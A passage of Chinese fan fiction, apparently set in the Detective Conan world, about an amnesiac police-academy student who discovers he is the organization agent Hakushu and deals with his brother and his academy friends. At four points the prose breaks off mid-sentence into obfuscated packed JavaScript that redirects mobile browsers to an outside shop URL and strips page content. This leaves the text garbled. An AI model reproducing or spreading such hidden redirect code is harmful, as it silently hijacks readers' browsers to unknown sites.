好吧,他承认他有点移情,他不接受有人可以如此轻易地抹去一个人的存在……特别是其中一人长得像他弟,而他弟也确实差不到任何有关他存在的纸质资料。 这简直就像是有人借着他的手亲手抹杀了他弟的存在。 他不接受。 * “你不能总是依着我的话去做,我也不会总是对的,kiri。”白发男孩站在窗边,月光落在他苍白的脸上,“你要学会不接受,你总得学会不接受。” 谷川居雾眨了眨眼:“我不接受和kumo分开。” 弟弟一噎:“不是这种不接受啦,是那种、那种……就算是我说的,如果我说错了你也会站起来说‘不’的那种不接受。” 谷川居雾思索片刻后,回答:“我觉得应该不会有那个时候。” “总之就是,就是学会不接受他人强加在你身上的命运、剧本之类的——特别是那些让你感到难受的、不适的、不愿接受的,一定要反抗,这些才不是你本身就应得的。”弟弟看到对方似懂非懂的眼神,凭经验猜到他下句话会说什么,于是又补了句,“就算是我也不行。” “好吧,那我努力。” “不是努力,是一定!kiri,就算是为了你……为了我,也一定一定不要盲目固执地跟着我的脚步走,要学会自己去看——” “别让自己后悔,kiri。” * 没关系,他从不后悔。 白州站在原地等待倒计时的结束,他的目光透过半透明的面板,落在存放文件的架子上——在档案柜的边缘烙着一个极为模糊的「Ⅳ」,在并不明亮的灯光下几乎不可能被肉眼看出来。 当然,如果不仔细去摸完全摸不出来。 还好戴的手套是轻薄款,就算隔着薄薄的手套,他也能感受到那个痕迹。 难道酒厂的手已伸到档案库了吗?那为什么还派他来?为了浪费高端劳动力吗? 他有点困惑。 但这无伤大雅,白州依旧能保持着高水准的潜伏水平,在没有惊扰任何人的前提下,无声无息地从原路溜了回去,在稍稍变装、改变发型、戴上平光镜后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619252|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,混入早起的社畜人群之中,安静而沉默地回到了一小时前和坪内约定的地点。 低调的黑色私家车流畅地滑至他面前,他打开车门,坐在后排盯着窗外的行人看了几眼,说:“回7号安全屋。” 坪内本道应了声:“嗯。” 黑色无袖上衣配上同色外套和长裤,全身上下除了危险物品和待摧毁文件外连买份早餐的钱都凑不出的白州若无其事地看了眼对方,理不直气也壮地说:“把你身上的现金给我。” “……好的。” 坪内本道通过后视镜看了他一眼,倒也没什么反应,顺从地从夹层里摸出一个钱包,娴熟地扔到后排,白州自然而然地接住了。 他打开钱包大致数了一下。 足够他一天花了。 看来「白州」和「坪内本道」比他想象中更紧密一点,不是单纯的下属、司机,而是有别的事情夹杂在里面。 白州收好钱包,靠在椅背上闭目养神,并不打算直接问对方——首先他不觉得酒厂那边提供的车是安全的,有概率会刷新窃听器,可能会造成麻烦;其次他不觉得对方会在猜到他失忆得格外彻底的前提下告诉他一切;最后,他不相信酒厂的人,在这里他只信自己。 这里是酒厂,没必要用警校的准则对待他们,在这里一切的警戒、疏离与控制欲都是正常的。 哈。 怪不得他显得那么不正常。 合着他原本就不是来自于一个正常的地方。 稀薄的阳光透过车窗落在白州身上,照亮了他半张侧脸。在警校的作息调整下,肤色虽然仍然苍白,但勉强还是带上了几分血色,在暖色的光下甚至显得还算健康。散落的额发挡住了刺眼的光线,但还是太亮了,他微微偏过头,依旧闭着眼。 * 云居冬弥睁开了眼。 在他今天才知道的安全屋中睡了一觉,他感觉他又活过来了。 其实他原本是想告一段落就回家里找弟弟的,但他暂且不想顶着一张困得不行的死人脸,带着淋雨又被晾干的脏兮兮的模样去见弟弟。再加上现在他脑子还有点乱,于是他干脆就来这里洗澡后睡下了——剩下的醒来再说,再不睡他感觉要猝死了。 这就是咖啡因摄入过量的报应吗?连喝三杯高浓度咖啡,当时没感觉有什么,结果回到安全屋,检查完四周情况后,放松下来的云居冬弥感觉整个人都在踩在云上。 于是他匆匆洗澡,吹干头发,给弟弟发了个晚点见的短信之后,云居冬弥便瘫在沙发上睡着了。 真·倒头就睡。 直到现在才睁开眼。 看来在潜意识里,他觉得这里是安全的,至少比警校让他有安全感。 睡了3小时·感觉自己满血复活·云居冬弥往脸上扑了点水,从冰箱中拿了个饭团,将就着吃完后,他看了眼时间,决定先干正事。 【阶段性奖励「记忆碎片·逆十字的誓言」已发放,是否查看?】 「查看。」 22. 云居日记(22) 视野变得很低,熟悉而陌生的视角让他恍惚了一下。 视线清晰起来,这似乎是一间低调而奢华的办公室,头顶的水晶灯冰冷而漂亮,空气中飘着淡淡的香薰味,这里的一切都显得那么昂贵,和他本人格格不入。他兴致缺缺地看了一圈,对这些都不太感兴趣,最终垂下了眼。 冰冷而光滑的大理石地面倒映着属于10岁的谷川居雾的白皙而平静的脸。 “决定好了吗,kiri?” 温和而平稳的声音在耳旁响起,明明没有任何攻击性,反而含着几分玩味的笑意,但他莫名后背发凉。 谷川居雾看向声源。 他看到那名棕发绿眼的青年坐在办公椅上,面容隐在阴影中,指尖漫不经心地点着桌面。 “当然。”谷川居雾用毫无起伏的声音念台词,“我会成为你手中的刀,为你清除一切障碍;我会成为你的共犯,为你献上忠诚。” 那人似乎满意地笑了一声,他站了起来,不疾不徐地走至谷川居雾的身前。逆着光,他看不清那仿佛被蒙了层雾的脸上到底是什么表情,但他却清晰地感觉对方其实是在笑。 这种感觉让他有点不爽。 “那么,你有什么喜欢的代号吗?”对方用一种近乎纵容的语气问,仿佛在说今晚你想吃什么。 谷川居雾回想了一下他所知的酒名,排除了几个被用过的和他不喜欢的,平静地开口:“白州威士忌,Hakushu Whisky。” 对方微妙地停顿了一下,他微微偏过头,仿佛在评估着什么,又仿佛在看什么有意思的物品。他似笑非笑地说:“行,那就白州威士忌。” 他俯下身,阴影笼盖住那位始终平静、仿佛对什么都不在意的少年,在对方不明所以的目光中为他戴上了choker。 “咔哒。” 脖颈处传来温凉的触感,嵌着逆十字架的皮质choker严丝合缝地贴住了皮肤。 “欢迎加入,Hakushu。” 【达成成就「逆十字的宣言」,已将关键节点收录至回忆录。】 …… 云居冬弥下意识地摸了摸脖颈,指尖触碰到的皮肤安然无恙,那里空荡荡的,但被束缚住的、带来微弱窒息感的触感却久久不消。 怪不得他总是莫名其妙感到窒息,原来是戴choker戴久了,腌入味了吗? 云居冬弥摩挲了一下逆十字吊坠,真心实意地认为这吊坠比那玩意好太多了——至少看上去就正常一点,也没那么显眼。 不过为什么会换成吊坠呢?总感觉那位的控制欲不会让他摘下choker。 奇怪。 * “我就说为什么那么奇怪。” 云居冬弥回到家后,托着下巴,看着空无一物的酒柜发出感叹。 他之前一直以为酒柜里不放酒是因为他酒精过敏,所以把酒全扔了,也没太在意这个柜子到底为什么没有放东西——就算不放酒了,这分明也可以当储物架才对。 这回他再次看到这里,不再像之前一样随意地看一眼便离开,而是走上前,打开酒柜的玻璃柜门,寻着特定的角度轻轻转动夹层。 “滋啦。” 微微卡顿后,这个夹层旋转,露出隐藏在背面的满柜的酒。 他从中摸出一瓶酒,看了眼上面龙飞凤舞写着的「Hakushu Whisky」略微扬眉,眼底一如既往地毫无波澜,只是稍带几分冷意,像秋日湖泊般平静而触手微凉。 熟背《柯学世界生存指南》的云居冬弥自然知道这个「白州威士忌」的背后代表着什么。 “什么啊……原来我是瓶‘酒’吗?” 而且好像还是瓶真酒。 * “原来的发型太奇怪了,而且显得kiri阴沉沉的,这样修剪一下就好看多了!” 在弟弟雀跃的声音下,云居冬弥沉默地放下了剪刀,不情不愿地被对方推着来到镜前——镜中那人的发尾被修出几分层次感,过长的额发被剪短了些,不再完全遮住眼睛,露出那双少见的银灰色眸子,看上去显得没那么沉闷阴郁。 “更奇怪了。”云居冬弥把刘海往下压了压,试图遮住眼睛,“你不觉得这么露出眼睛很奇怪吗?” 弟弟疑惑:“没有啊,你现在超帅的。” 他将云居冬弥的额发又给撩回去,仔细端详了一会儿,比了个大拇指:“看,多精神!像漫画主角一样,把哥的帅气全凸显出来了——简直就是酷哥啊。” 酷哥什么酷哥?他宁愿回去当阴暗蘑菇。 镜中的年轻人看上去熟悉而陌生,由于少了头发遮挡,面部轮廓显得更加清晰利落,那双银灰色的眼睛如同未经打磨的宝石,在室内的灯光下泛着冷冽的光泽——确实不丑,但过于出众了。 这种出众让他有点不适。 他不喜欢露出眼睛,除了少数情况,云居冬弥一直都是把眼睛藏在额发下的。那不仅是习惯,更是为了遮掩情绪。虽然很少会有人直视他的眼睛还没被逼得移开视线,但他在之前就发现了,警校组那些人确定他的情绪如何都是靠眼睛来看的。 保险起见,在警校时期他不光天天戴平光镜,还每天把刘海压下来。 云居冬弥不喜欢被人看出来他的情绪,这样不方便……而且,太透彻了,他不喜欢被人看透,这种感觉有点奇怪。 “太显眼了。”已经活成显眼包的模样的云居冬弥如是说。 “显眼点不好吗?”弟弟撅了撅嘴,“别总是想把自己藏起来嘛,kiri。外貌也好,情绪也好,别总是将自己藏起来——要是一不小心将自己弄丢了,那就不好了。” 弄丢……吗? 云居冬弥没想过这种情况,他只是想要隐藏,将自己藏起来。无论是在警校里似真似假的礼貌与疏离,还是酒厂里将自身情绪完全剥离出来,他都是想将自己藏起来,不想被任何人发现他的把柄、弱点。这是他活下去的本能,也是他日日夜夜积累出来的几近刻骨的习惯,如呼吸般简单、自然。 所以他到目前为止也仅向松田一人剖析过自己,将自己完全展露出来,亲手将自己的把柄交给对方,以免后续情况失控,造成不可估量的损失。 但他还真没在意过,如果他一直隐藏、忽视和掩饰下去,那个真正的「谷川居雾」是否会被逐渐覆盖、遗忘。 如果说「白州」是那位先生手中的利刃,「云居冬弥」是失忆后尝试成为一名好警察的警校生,那……「谷川居雾」是谁? 「谷川居雾」在10岁渐渐成为「白州」,而失忆后的「白州」变成了「云居冬弥」,而「云居冬弥」又为了寻找「谷川居雾」的选择扮演了「白州」。 那谷川居雾又在哪里? 这个念头像是一颗被投入深潭的石子,在他心中泛起层层涟漪,却得不到任何回应。 没有人能回应他。 连他本人都不确定他是否在成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619253|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为「白州」后、在变成「云居冬弥」时是否亲手扼杀过「谷川居雾」的存在。 寒意顺着脊椎蔓延滋长,云居冬弥凝视着镜中的黑发青年,目光却有点涣散,似乎仍然沉浸在自己的世界中,连弟弟用手在他眼前挥过都没唤回他飘远的思绪。 “kiri。” 云居冬弥瞬间回魂,望向担忧地看着他的弟弟。 “你还好吗?是不是剪太短了?” 云居冬弥眼中不断扩散的涟漪眨眼间散去,眼底只剩下惯有的、近乎冷漠的平静,仿佛先前的迷茫和困惑不曾存在过。他抬手,将额发往下压了压,用一如既往的平稳而毫无波澜的声音回答:“还好……只是不太习惯,现在好多了。” “那以后就留这个长度啦?”弟弟用满眼写着期待的亮晶晶的眼睛看着他。 云居冬弥偏开视线:“看情况。” 有些事不是他能决定的。 * 有些事情不是云居冬弥想要便能决定的。 就比如购买信号屏蔽器的材料,不是云居冬弥想买就能买到的——好吧,他如果真的想买,那确实可以买到,但必须是以「白州」的身份才能买到,纯粹用「云居冬弥」这个除了不缺钱外没什么背景的身份,根本不能在保质保量地买到那些乱七八糟的材料。 但鬼知道以「白州」的名声,买这些会不会被坑? 算了,还是日后想想能不能从正经的渠道买这些东西吧,好歹是送给警校组的,哪能从酒厂薅羊毛再送过去?谁知道里面有多深的水? 云居冬弥不爽地在「采购信号屏蔽器所需材料」后打了个叉,将它的蓝图折好,夹进笔记本中,放进背包里。 随后出门买了一袋白糖,回去做糖画。 不得不说,熬糖一事让他心平气和起来,盯着渐渐化为琥珀色的糖浆,看从勺中流下的糖浆从滴滴答答的液体到连绵不绝的细线,他整个人都静下来了。 待时机成熟,云居冬弥将锅离火,在半空中等了几秒,眼看气泡消下去了,他便用勺子舀其适量糖浆,在刷好油的板子上作画。随后趁着糖画还没有完全凝固,他在上面放下竹签,轻轻一摁,又在上面淋了些许糖浆。 大功告成。 云居冬弥将糖画装进密封袋中,放进冰箱,决定等下午走前再拿出来,以免中午放在外边,一不小心化掉了。 至此,云居冬弥的周末计划表已全员结算——除了那倒霉的信号屏蔽器,云居冬弥的计划表已全员完成。 毕竟检查附近危险性早已是习惯,最难完成的一项好巧不巧是他的任务,所以他理所当然地跳过了公安,先他们几步知道了津川兄弟背后埋藏的故事。 津川影和津川星同样出身于酒井孤儿院,同样也是异父异母亲兄弟,前者比后者大3岁,后者患有白化病,与此同时心智受损,生活高度依赖于哥哥。 津川星为了活着只能接受酒厂的药物治疗,但酒厂的药物也不是免费的,药物效果极佳但一旦断药必死无疑,所以将弟弟视如家人的哥哥便被迫开启了进酒厂的主线任务,艰难地开启了酒厂底层生存RPG。 结果因其与谷川居雾的背景重合度很高,被恶趣味的酒厂高层看中。 逼他们在云居冬弥前上演这出破戏,看他到底会怎么选择——选择,选择,你就知道选择是不是?天天选来选去的你也不嫌累。 云居冬弥真心觉得那位可能疑心病、恶趣味重到该去看心理医生了。 23.云居日记(23) 糖画的甜香似乎还缠绕在指尖,云居冬弥最后检查了一遍背包,他将行李妥善安放至副驾驶。 虽然他对酒厂有很大意见,但不得不说他们的员工福利确实挺好,他周末跟坪内本道提了一嘴,隔天他就收获了一辆外观低调但经深度改装过的丰田Supra 。据说这是自18岁拿到驾照后就跟着他的“爱车”,平均每月一报废,但偏偏会将每辆改造的一模一样,仿佛它从未报废过,但实则已经换了一台又一台了。 云居冬弥对此表示不信。 别的不说,他的车技还不错,怎么会报废得那么频繁——又不是天天开车COS《速度与激情》,不至于。 除非他天天加班被追杀。 但也不至于吧,他觉得他一个多月只被找上门,这个频率也不是很高。 云居冬弥将这个车里里外外检查一遍,没发现有不该有的东西后,便决定开这辆车回警校了。 主要是打车和呼唤酒厂专车更不安全,不知道他们会不会看到不该看的,现在私下再买一台也没时间,而且鬼知道酒厂会不会在新买的车里加小料,倒不如直接薅酒厂的羊毛要个顶配好车,也省得他费心思去找不会被酒厂控制的车企。 那很麻烦。 而且他觉得这辆车大概率是完全属于他本人的,这车的改装完全就是他本人的偏好和习惯,很可能是他亲手改装后放在坪内本道那备用的——看来他和坪内本道的关系比他想象中要更亲近一点,不是单纯的上下属或司机与被接送的关系。 不然他是不会接受将自己的东西交托在对方手中的。 所以坪内是属于「白州」本人的人脉,而不是属于酒厂的。 以坪内不同寻常的警戒程度和身上难以忽视的肌肉分布来看,他也不可能是籍籍无名的底层,再加上贝尔摩德听他说要「坪内来当司机」的微妙语气和调侃的「白州大人」…… 坪内本道大概率也是代号成员,只不过他以前是他下属。 好麻烦的人际关系。 云居冬弥不喜欢麻烦。 * 但有的时候麻烦会自己找上门,云居冬弥刚推开门,脚还没落在地上,他便从视野边缘的余光捕捉到两个熟悉的身影。 NO,怎么来了两个懂车的。 云居冬弥微微裂开。 萩原研二已经笑着朝他招手了,松田阵平跟在对方身后,双手插在口袋,目光落在他身后的车上,饶有兴趣地打量着这辆看似普通实则处处透着不普通的Supra上。 云居冬弥面不改色地关上车门,朝他们微微颔首:“好久不见。” “就两天。”松田阵平挑眉,看了眼对方,“你这‘好久’也不怎么久啊。” 云居冬弥看了眼系统显示的时间,象征性地摸出手机,随后若无其事地合上翻盖机,平静地说:“46小时32分,不早了。” “确实隔了蛮久的。”萩原研二从善如流地说,语调轻快,视线从Supra流畅地移至他的发型上,调侃着说,“久到小云居都换发型了呢。” “46小时可以干很多事情,包括去换个发型。”云居冬弥随手扒拉了一下刘海,额上重量变轻后,他有点不自在,但他只是平静地看了眼身旁的车,避开直对着的视线,轻声说,“改头换面还是很简单的。” “是吗?我还以为以小云居的性格这辈子都不会剪额发呢。” 云居冬弥沉默片刻:“我本来没想剪的。”谁没事会和自己的本体过不去。 “诶?是发生了什么吗?” 萩原研二嘴角微扬,脸上浮现出恰到好处的疑惑,紫罗兰色的眼睛在阳光下熠熠生辉,下垂的眼角看上去格外的真诚。 云居冬弥稍稍有点犹豫,视线移至松田阵平,后者被幽幽地盯着看了半秒,他的眼里划过一丝了然,半月眼道:“不想说就别说,看我干什么?” 云居冬弥顺势收回目光,稍稍调整偏头角度,无辜而真诚地说:“我没有。” 松田阵平打了个哈欠,随后敷衍地摆摆手,示意跳过这个话题,有点无语:“好的,你没有。” 云居冬弥趁着对话的间隙,自然而然地取下背包,从包中翻出两个密封完好的糖画,分别递给两人,手速堪比他敲键盘的速度,快出了残影。 “给。” 萩原研二顺势接过糖画,不再提及那个话题,而是将它对着阳光欣赏了一下琥珀色的、手艺精湛的糖画,发出小声的惊叹,感慨地说:“哇,之前就觉得小云居很手巧,没想到在这方面居然也这么厉害!” 云居冬弥视线微移,平静地说:“练多了就会了。” 松田阵平掂了掂,盯着线条流畅、自然的糖画看了几眼,捻住竹签,拆开密封袋,在墨镜镜腿处咬了一口,含糊地评价道:“太甜了。” 云居冬弥若有所思:“糖都是甜的,如果你真的需要,我可以掺点苦瓜汁进去。” “不,那还是算了。” “这个搭配也太地狱了吧,小云居。” 云居冬弥面上表情毫无变化,只是嘴角微扬,淡定地移开视线:“开玩笑的,苦瓜汁兑进去估计不好吃。” “那肯定不好吃啊!”松田阵平翻了个白眼,三两口解决了墨镜,将竹签投至几步之外的垃圾桶中,随后没忍住,目光还是落在那辆Supra上,咋舌道,“这车你新弄来的?看着不像原装货啊。” “线条是原厂的没错,但仔细看从玻璃、外壳材质、轮胎样式到那个刹车卡钳都有改装痕迹呢。”萩原研二秒跟团,语调轻快,“是小云居自己改的吗?” 云居冬弥缓缓打出一个问号:这也是能看出来的吗? “应该是。” “我就说吧——这改装一看就是你喜欢的风格呢!”萩原研二眨了眨眼,用轻快的口吻说,“简洁、高效,但所有的细节都指向……嗯,在极端情况下也能正常运行的稳定性。” “何止稳定性,这焊接手法和加固点的选择完全就是冲着防爆去做的。”松田阵平侧身敲了敲底盘护甲,挑眉说道,“这材料看上去也不像民用版啊,你这周末干啥去了。” 好吧,还是绕不开这话题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622553|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云居冬弥放弃挣扎,斟酌片刻后说:“遇到了点麻烦,目前正在观察期,看看那边到底在想什么。” “麻烦?” 松田阵平站起身的动作一顿。 “非常麻烦,但现在还能处理。”云居冬弥表情没有任何变化,声音依旧平静,只是微微垂眸,掩住了眼底转瞬即逝的冷意。 “什么麻烦?说来听听。”松田阵平见对方沉默地盯着鞋尖看,换了个说法,“和这辆车有关?” “……是。”云居冬弥微不可查地点了下头,犹豫片刻,缓缓开口,“这辆车是我以前放在……我同事那的。” “同事?小云居以前还工作过吗?”萩原研二适时接话,他盯着云居冬弥的脸看了一会儿,笑着说,“我还以为小云居刚成年呢,没想到已经工作了吗?” 成年和工作有什么关系?云居冬弥疑惑地看了眼对方:“按日本的算法我确实刚成年,未成年和工不工作也没关系。” 松田阵平抱着臂,微妙地看了眼若无其事地说出来的某人,将重点拉回车上:“所以,这是你工作时的……‘装备’?” 云居冬弥思索片刻:“也不算,那边有同款,但这辆大概率是我的私人财产,那边不知道。” “不知道?我以为……那边管你管得很严。” 面对几乎算是明示的话,云居冬弥表情没什么变化,反正在场两人早就看出来他有问题,他们平时也偶尔会聊到危险话题,所以他相当平静,只是淡淡地点了点头:“之前是挺严的,但自那边找上门后,那些如影随形的视线就散了,应该是我的评估过了。” “……你同意了?” “不算同意,不然我不会回来。”云居冬弥用「你怎么能这么想我,我是那种人吗」的谴责眼神看向对方,“说实话,我不太喜欢那边,还是这边待着舒服一点。” “那他们?”松田阵平眉头轻瞥,光明正大地打量了一下对方,“你拒绝了,他们能安然无恙地放你回来?” “没拒绝也没同意,但似乎是我的表现让他们默认我是那边的了。”云居冬弥隔着衣服摸了摸逆十字吊坠,也有点疑惑,“他们对我的信任度相当高。” 准确来说太高了,云居冬弥不理解,就算他曾经是那位的共犯,但那也是心不甘情不愿的情况下,而这种视人命如草芥的组织怎么可能会这么信任他——他们难道真的指望一个弟弟被他们控制在手里的弟控会有什么忠诚度可言吗? 这背后肯定还有他不知道的原因。 而那个原因足以颠覆他的认知。 云居冬弥换了个说法:“他们认为我一定不会背叛。” 但凭什么呢?一个控制他弟,妄想以此控制住他的组织凭什么认为他不会背叛?云居冬弥平静地攥住背包的带子——只要kumo不想,不愿意,他会立刻、马上带他离开那个鬼地方,让那该死的酒厂付出玩弄他们命运的代价。 “凭什么呢?”云居冬弥面无表情地看向那辆安静躺在原地的Supra,轻飘飘地说,“他们以为我真的不会生气吗?” 24.云居日记(24) 轻得仿佛只是一根羽毛的声音带着难以忽视的寒意,简直就像是冬日微风在耳旁拂过,轻柔而冰冷。空气似乎凝固了一瞬,云居冬弥面无表情的脸上毫无波澜,只有那双银灰色眼睛流露出少见的锐利,平日总是蒙着一层淡漠雾霭的眼中淬着清晰可见的冰渣。 他平时很少露出这种堪称锋芒毕露的目光。 云居冬弥一直都是沉默的、安静的,用不合时宜的礼貌与淡漠伪装起来的,仿佛只是死寂的火山,即使偶尔会显露不太冷静的一面,但也只是转瞬即逝,快得仿佛不曾存在。 除去便利店那次,松田阵平从未在他身上看见过如此具象化的情绪——其实那次也不算。 那天他虽然愤怒,但他本人并不清醒,完全不知道他在愤怒什么,生气什么,只是单纯的感受到,并下意识做出行动。 而这次他是完全清醒着的。 “你生气的样子可比你死气沉沉的样子像个活人多了。”松田阵平抱着臂,嘴角勾出近乎挑衅的弧度,他仿佛没有感受到气氛的凝滞,也没感受到那淡淡的冷意,放松地靠在车旁。 怎么一个两个都说他不像“人”?云居冬弥面无表情地收敛外露的情绪,娴熟地将自己装回平静、理智的外壳里,淡淡地看了过去。 然后他看到萩原研二轻轻“啊”了一声,若有所思地看向他,仿佛突然想明白了什么,眼里浮现出几分了然:“确实,小云居有时候真的很像完美但缺少了核心部件的精密仪器……现在这个‘零件’好像终于找到了。” “零件?”云居冬弥略微抬眼,反驳道,“我不是仪器,也不会缺少零件。” “你当然不是。”松田阵平侧过头,目光落在他身上,嗤笑一声说,“仪器坏了可不会自己生气,只会停摆。” 他意有所指地说:“你看上去想把他们连同他们的‘保险箱’撬掉,连带着里面的东西一起扬了。” “不至于。”云居冬弥表示他非常冷静,“我有重要的人在他们手上,而他们手里还有没打出的牌,我不会轻举妄动的。” “所以,你什么也不做?” “不。”云居冬弥微微摇头,瞥了眼对方,强调了一下,“我是现在还不能做,我重要的人在那边,在理清楚一切之前我不能随便打乱现在的格局。” 这几乎就是明示。 “格局?”松田阵平挑眉,“我以为这叫人质劫持。” “我也觉得。”云居冬弥微妙地看了眼手中的车钥匙,“所以,你觉得他们为什么这么信任我呢?” 云居冬弥从口袋摸出备用钥匙,将它塞进松田阵平手中,看了眼那辆车,平静地说:“这大概率是我本人私下购买的,不属于那,备用钥匙放你这,特殊情况随你用,坏了算我的。” 松田阵平微微愣住,他低头看了眼手中的车钥匙,金属的冰凉渐渐染上体温。他攥住钥匙,抬眼道:“什么意思?” “意思是以你们的行事风格,迟早需要一辆车。”云居冬弥平静地说,“在你们有钱买辆性能比得上这辆前,我的车可以借你们用用。” 说完,他又补偿了一句:“算你欠我个人情,有机会帮我从正常渠道、不引人注目地买两辆车,以及帮我找点能用的改装设备。放心,钱我给双倍,不坑你,但你要小心点,不能被——” “不用双倍。”云居冬弥话还没说完就被松田阵平打断,他在对方「你还想翻倍」的眼神中,收起了车钥匙,平静地说,“原价就行,至于改装……” “我可以哦。”萩原研二眨了眨眼,“虽然比不上小云居这辆的改装水平,但普通的性能提升我还是可以的。” 本来是想自己改·但其实只是想用于伪装身份·不需要性能太高·云居冬弥点了点头,从包中笔记本里摸出一张对折的草稿纸,塞到他手中:“这上面都是民用的平替材料,不算难找,如果改装不顺手,可以来找我,我大概知道怎么搞。” 萩原研二展开那张草稿纸,紫罗兰色的眼睛微微睁大。纸上密密麻麻地写着各种汽车零部件的型号和替代方案,书写整洁,字迹如他本人般凌厉,旁边还标注着详细的性能参数和改装要点。 “这改装方案真的相当专业。”萩原研二喃喃,“这哪里是「民用平替」啊,小云居……” 松田阵平凑过去看了眼,挑眉道:“你确定这叫不算难找?” 云居冬弥视线微移:“基本都是市面上能买到的,少数几个可以从阿笠博士那买到,都是正常渠道能获得的,应该也算是民用。” “阿笠博士?” “是个很厉害的发明家,联系方式我写给你,就说是我推荐的。”云居冬弥又补充了一句,“他和那边没有关系,非要说的话,他大概率是站在你们这边的。” “我明白了。”萩原研二脸上的笑容收敛起几分,正色道,“我会分批次、从不同渠道采购的。” “谢了,我原本想买完自己改的,但确实你们帮我改更隐蔽一点。” * 图书馆的隐蔽角落,云居冬弥抱着一沓书坐在那翻看。 和上回他还算感兴趣的专业书不同,这次他看的都是些他平时完全不会多看一眼的类型,比起看《存在与时间》、《存在与虚无》之类的系统推荐的书,他宁愿去看悬疑推理小说,虽然他也没什么兴趣,但至少那些没这个催眠。 不过这确实有点用,有些内容对得上他的状况,在昏昏欲睡地读了一下午后,他稍稍理解他到底是什么情况了。 他的情感分配过于极端而不均,像是把所有资源都投入了一个核心进程,导致其他功能模块长期处于低功耗的待机状态。这不是故障,而是在特定环境下最优化的系统配置。 他知道他有自欺欺人的倾向,但他也没想到他这些年或许不是在“扮演”,而是自我说服。他在说服自己:你不需要那些,你不在乎那些,你只是一件工具。只有这样,才能在确保那个唯一重要的进程——关于弟弟的一切——能够以最高优先级持续运行的同时,最大限度地减少系统内耗。 他原来是这么极端的一个人吗?为达目的不择手段,甚至尝试将自己的底层代码篡改? 所以他目前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631175|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是坏了,只是他之前选择了一种在极端环境下也能成功运作的特殊模式。而现在环境变了,模式也需要更新。就像一台为极地设计的设备被搬到了温带,它的某些特性不再适用,甚至显得怪异,但这不代表设备本身是故障品。 云居冬弥合上书本,银灰色的眼睛里没什么波澜,他若有所思地翻看先前他才看完的另一本书。 某种意义上,「扮演」一名好警察也算是一种系统调试的过程,约等于在安全的沙箱环境里,模拟运行新的情感协议,观察系统的兼容性与稳定性……不会这才是kumo想让他进警校的原因吧? 按云居冬弥对「白州」的理解,进警校不像是主动提出的选择,而是有人在背后推波助澜的结果——而那个推波助澜的人对他没有恶意,甚至会帮忙维护校园内的安全与稳定,对方似乎是想让他在这个安全的沙箱环境中学习成为自己。 能为他做到这个地步,还能让他本人对对方的插手不感到不爽而是听从的人大概只有kumo了。 云居冬弥摩挲着粗糙的纸页,夕阳透过玻璃窗,落在堆叠整齐的桌面上。 他合上《游戏与现实》。 或许……kumo希望的是他创造一个反向沙箱,不是把「云居冬弥」关进去,而是将「白州」隔离起来,关进一个有限的容器里。而容器之外,是属于「云居冬弥」的,广阔而陌生的世界。而kumo希望他学会一些不能被「白州」所理解的,但却又是属于「谷川居雾」的事情。 懂了。 书里提到「过渡性空间」的概念是说在完全的内在现实和外在现实之间,存在一个缓冲地带,而人们在那里通过「游戏」来学习成为自己。 将一切比做游戏。 警校是他的过渡性空间,松田阵平是他在这个空间里选择的引导NPC,他的主线任务是尝试成为一名「合格的好警察」——这不能是伪装,是他得真心实意得成为一名好警察。 所以,这是一场不能回档的游戏。 一场他必须赢的游戏。 * “这是一场必须赢的游戏,不然我们就要包揽整个学期的执勤!” 伊达航他扫视一圈或严阵以待或漫不经心的同学,双手叉在腰间,声如洪钟,光是站在原地就有种定海神针的令人安心的沉稳气场。他拍了拍手,示意大家打起精神来:“我相信各位也不想每天都花费一小时去执勤、打扫校园吧?” “当然不想!”萩原研二举起手,第一个响应班长的号召,非常坚定,“为了能有正常的课余时间,我们今天怎么说也不能输!” 